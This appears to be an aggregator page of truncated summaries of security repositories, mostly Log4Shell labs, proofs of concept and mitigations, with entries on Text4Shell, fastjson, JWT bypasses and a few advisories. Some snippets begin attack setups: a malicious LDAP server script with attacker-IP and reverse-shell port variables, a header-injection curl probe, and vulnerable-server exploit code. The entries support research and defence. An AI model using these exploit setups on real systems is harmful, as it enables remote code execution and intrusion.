log4shell-mitigation-tester

Log4Shell 緩和策テスター これは Log4j 2.14.1 を使用したサンプルアプリケーションです。 ソースコード: App.java この目的は、さまざまな緩和策をテストできるようにすることです。これらの緩和策は、Microsoft の CVE-2021-44228 Apache Log4j 2 への対応 にも記載されています。 使用例 例は bash シェル向けです アプリをビルドする root@kitploit: ./gradlew assemble 回避策なしで実行する root@kitploit: java -jar app/build/libs/app-all.ja...

EUVD-2026-84526

Aureus ERP before 1.5.0 fails to scope message lookups to the current record in ChatterPanel, allowing authenticated users to access arbitrary messages. Attackers can submit sequential message IDs to read, edit, delete, or pin messages from other departments or companies, and enumerate all notes ...

CVE-2026-66749-Unchecked-Room-Lookup-Leads-to-Server-Crash-Let-s-Chat-

セキュリティアドバイザリ: 未チェックのルーム検索によりサーバークラッシュが発生する Let's Chat 割り当てられたCVE ID: CVE-2026-66749 概要 ログイン済みの任意のアカウントからの1つのHTTPリクエストで、Let's Chatのサーバープロセスが停止します。 GET /messages は room パラメータを受け取り、そのIDでルームを検索し、検索が何も返さなかったかどうかを確認せずに、その結果に対してメソッドを呼び出します。有効な24文字の16進文字列であるものの、どのルームにも属さないIDを送信すると、結果として TypeError...

log4j2-vuln-lab

⚠️ 免責事項 ：このプロジェクトはセキュリティ学習と技術研究のみを目的としており、すべての脆弱性環境はローカルで構築されており、実際のターゲットに対するテストは行われていません。違法な目的には使用しないでください。このプロジェクトの使用によるリスクは利用者自身が負うものとします。 Log4j2 脆弱性再現ラボ（CVE-2021-44228） 脆弱性の概要 Log4j2 は Java エコシステムで最も広く使用されているログフレームワークです。ログ内で $... 構文を使用して動的コンテンツを挿入できる Lookup 機能があります。2.14.1 以下のバージョンでは、ログコンテンツに...

shaha

shaha ハッシュデータベース構築および逆引き検索ツール。 SHA + aha! ワードリストから事前計算済みのハッシュデータベースを構築し、それらを照会してプリイメージを見つけます。 インストール root@kitploit: cargo install shaha またはソースからビルド: root@kitploit: git clone https://github.com/oritwoen/shaha cd shaha cargo build --release 使用方法 ハッシュデータベースの構築 root@kitploit: Single algorithm default...

log4j2-CVE-2021-44228

Log4j2 脆弱性サンプルアプリケーション CVE-2021-44228 影響を受けるバージョン: 2.0-beta9 から 2.14.1 までの全バージョン このアプリケーションは、CVE-2021-44228 の脆弱性を持つ Spring Boot Web アプリケーションをベースにしています。 これは Log4j 2.14.1 を使用しています spring-boot-starter-log4j2 2.6.1 経由。 アプリケーションの実行 実行方法: root@kitploit: Import the project in Java IDE as a maven project...

CVE-2025-65945-poc

CVE-2025-65945: node-jws 署名バイパス これは、node-jws ライブラリにおける署名検証バイパスの概念実証です。このバグにより、サーバーがユーザー制御のデータから HMAC 秘密鍵を導出する場合、攻撃者は有効な JWT を偽造できます。 バグの内容 jws.createVerify 関数は、HMAC アルゴリズムを使用する際に秘密鍵が実際に提供されたことを検証しません。アプリが JWT 内の何か（kid ヘッダーなど）に基づいて秘密鍵を検索し、その検索が失敗した場合、空の秘密鍵に対して検証してしまう可能性があります。 攻撃者はこれを次のように悪用できます： 1...

text4shell-docker

Install maven - maven-linux 1. Maven インストール fat jar を作成するため root@kitploit: mvn clean install 2. Docker ビルド root@kitploit: docker build --tag=text4shell . 3. Docker 実行 root@kitploit: docker run -p 80:8080 text4shell 4. アプリをテスト root@kitploit: http://localhost/text4shell/attack?search= 5...

CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228Apache Log4j リモートコード実行） all log4j-core versions =2.0-beta9 and 現在のJavaバージョンに頼って身を守ろうとしないでください。Log4をアップデートするか（またはJNDIルックアップを削除してください）。拡張機能を無効にしてください（とにかくかなり悪いアイデアのようです）。 rc1 のバイパス 例: root@kitploit:...

meltdown-spectre-bios-list

Meltdown/Spectre BIOS/Firmware アップデートリスト これは、MeltdownおよびSpectreの脆弱性に対処するためにBIOS/Firmwareをパッチしたすべての製品とメーカーのリストです。 より良い情報をお持ちの方は、プルリクエストを送ってください。 なぜこれを作ったのか？ 自分のすべてのハードウェアに対して解析可能なリストを持つため あなたのマザーボードを確認する linux curl -s...

CVE-2021-44228-Apache-Log4j

CVE-2021-44228Apache Log4j Remote Code Execution） 影響を受けるバージョン: 2.0-beta9～2.12.1、および2.13.0～2.15.0の全バージョン Log4Shell CVE-2021-44228 に関連するセキュリティアドバイザリ / 速報 使用方法: 1. このプロジェクトをダウンロードして、InjectClazz.javaをコンパイルします root@kitploit: ダウンロード git clone http://github.com/lonecloud/CVE-2021-44228-Apache-Log4j cd...

fastjson-1.2.61-RCE

fastjson-1.2.61-RCE PS： 公式はhttps://github.com/alibaba/fastjson/blob/master/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java において、0x7bddd363ad3998c6L （すなわち1.2.61 8925522461579647174 0x7bddd363ad3998c6L...

cve-2022-42889-text4shell-docker

Maven 설치 - maven-linux 1. Maven을 설치하여 fat jar를 생성합니다. root@kitploit: mvn clean install 2. Docker 빌드 root@kitploit: docker build --tag=text4shell . 3. Docker 실행 root@kitploit: docker run -p 80:8080 text4shell 4. 앱 테스트 root@kitploit: http://localhost/text4shell/attack?search= 5. 공격은 앞서 언급한 lookup의...

log4j-CVE-2021-44228

log4j-CVE-2021-44228 2021年12月5日，Apache在其广泛使用的Log4j日志服务中发现了一个漏洞（后确定为CVE-2021-44228），又名Log4shell。该漏洞使攻击者能够完全控制受影响的服务器，通过允许未经验证的远程代码执行，前提是用户运行的是使用Java日志库的应用程序。Log4j被大量集成到广泛的DevOps框架、企业IT系统以及供应商软件和云产品中。 在恶意远程主机上执行以下操作，以检查您的服务器是否易受Log4j漏洞利用： curl vulnserver:port -H 'X-Api-Version:...

Log4jPatcher

Log4jPatcher Log4j2のJNDIエクスプロイトに対するJava Agentベースの軽減策です。 このエージェントは2つのパッチを適用します： サポートされているLog4jバージョンにおいて、org.apache.logging.log4j.core.pattern.MessagePatternConverterのコンストラクタでnoLookupsをtrueに設定することで、すべてのルックアップ変換を無効化します。 org.apache.logging.log4j.core.lookup.JndiLookupクラスを無効化し、そのlookup関数でnullを返すだけにします...

CVE-2026-4444-JWT-Algorithm-Confusion-via-kid-Injection

CVE-2026-4444 – kid インジェクションによる JWT アルゴリズム混同 プログラムコード Node.js サーバー + Python エクスプロイト root@kitploit: // jwtserver.js - Vulnerable JWT verification server const express = require'express'; const jwt = require'jsonwebtoken'; const jwksClient = require'jwks-rsa'; const axios = require'axios'; const ap...

CVE-2021-44228

CVE-2021-44228 分析 どのように動作するか？ 以下は、log4shell脆弱性を悪用したリモートインジェクションの詳細なプロセスです。 まず、知っておくべき3つの部分があります。 1. Log4j2は、メッセージルックアップ置換 と呼ばれる機能を使用してデータのログ記録を可能にします。これにより、ログメッセージにはさまざまなソースから動的に取得されたデータを含めることができます。（JNDIルックアップをサポート） 2. JNDIルックアップ : Java Naming and Directory Interface JNDI...

CVE-2021-44228-Log4Shell-

CVE-2021-44228-Log4Shell- 渗透测试 1. 创建恶意LDAP服务器（使用Marshalsec） !/bin/bash Script: startldapserver.sh 要求：安装Java和Marshalsec https://github.com/mbechler/marshalsec LDAPPORT="1389" HTTPPORT="8000" ATTACKERIP="192.168.0.101" REVERSEPORT="5555" echo "+ 在端口 $LDAPPORT 上启动恶意LDAP服务器..." java -cp...

CVE-2021-44228

CVE-2021-44228 我觉得这边的内容更具实用性（哭）christophetd/log4shell-vulnerable-app 因为只是出于兴趣、一时兴起去调查的，所以可能有些地方含糊不清或者存在错误。 请务必自行承担责任。 搭建复现环境。 只要是在 Linux 环境下，应该就能运行。 1. 下载 jdk 从 jdk8u191 开始，新增了 com.sun.jndi.rmi.object.trustURLCodebase 选项，默认值为 False。 在这种状态下无法加载外部准备的 class，所以这次我们使用更早之前的版本。 （ 也许能加载内部类或进行绕过？？ ）...

CVE-2021-44228-DFIR-Notes

CVE-2021-44228 DFIR-Notes 帰宅途中に、log4shell脆弱性に関する最初のメッセージが流れてきました。 Apache Log4j 2ユーティリティの複数のバージョンに影響する高重大度の脆弱性（CVE-2021-44228）が、2021年12月9日にプロジェクトのGitHubを通じて公開されました。この脆弱性は、Alibaba Cloud Security TeamのChen Zhaojun氏によって発見され、Apache Log4j 2のバージョン2.0から2.14.1に影響します。 帰宅後すぐに取り掛かりました。いつものようにSplunk4twです。...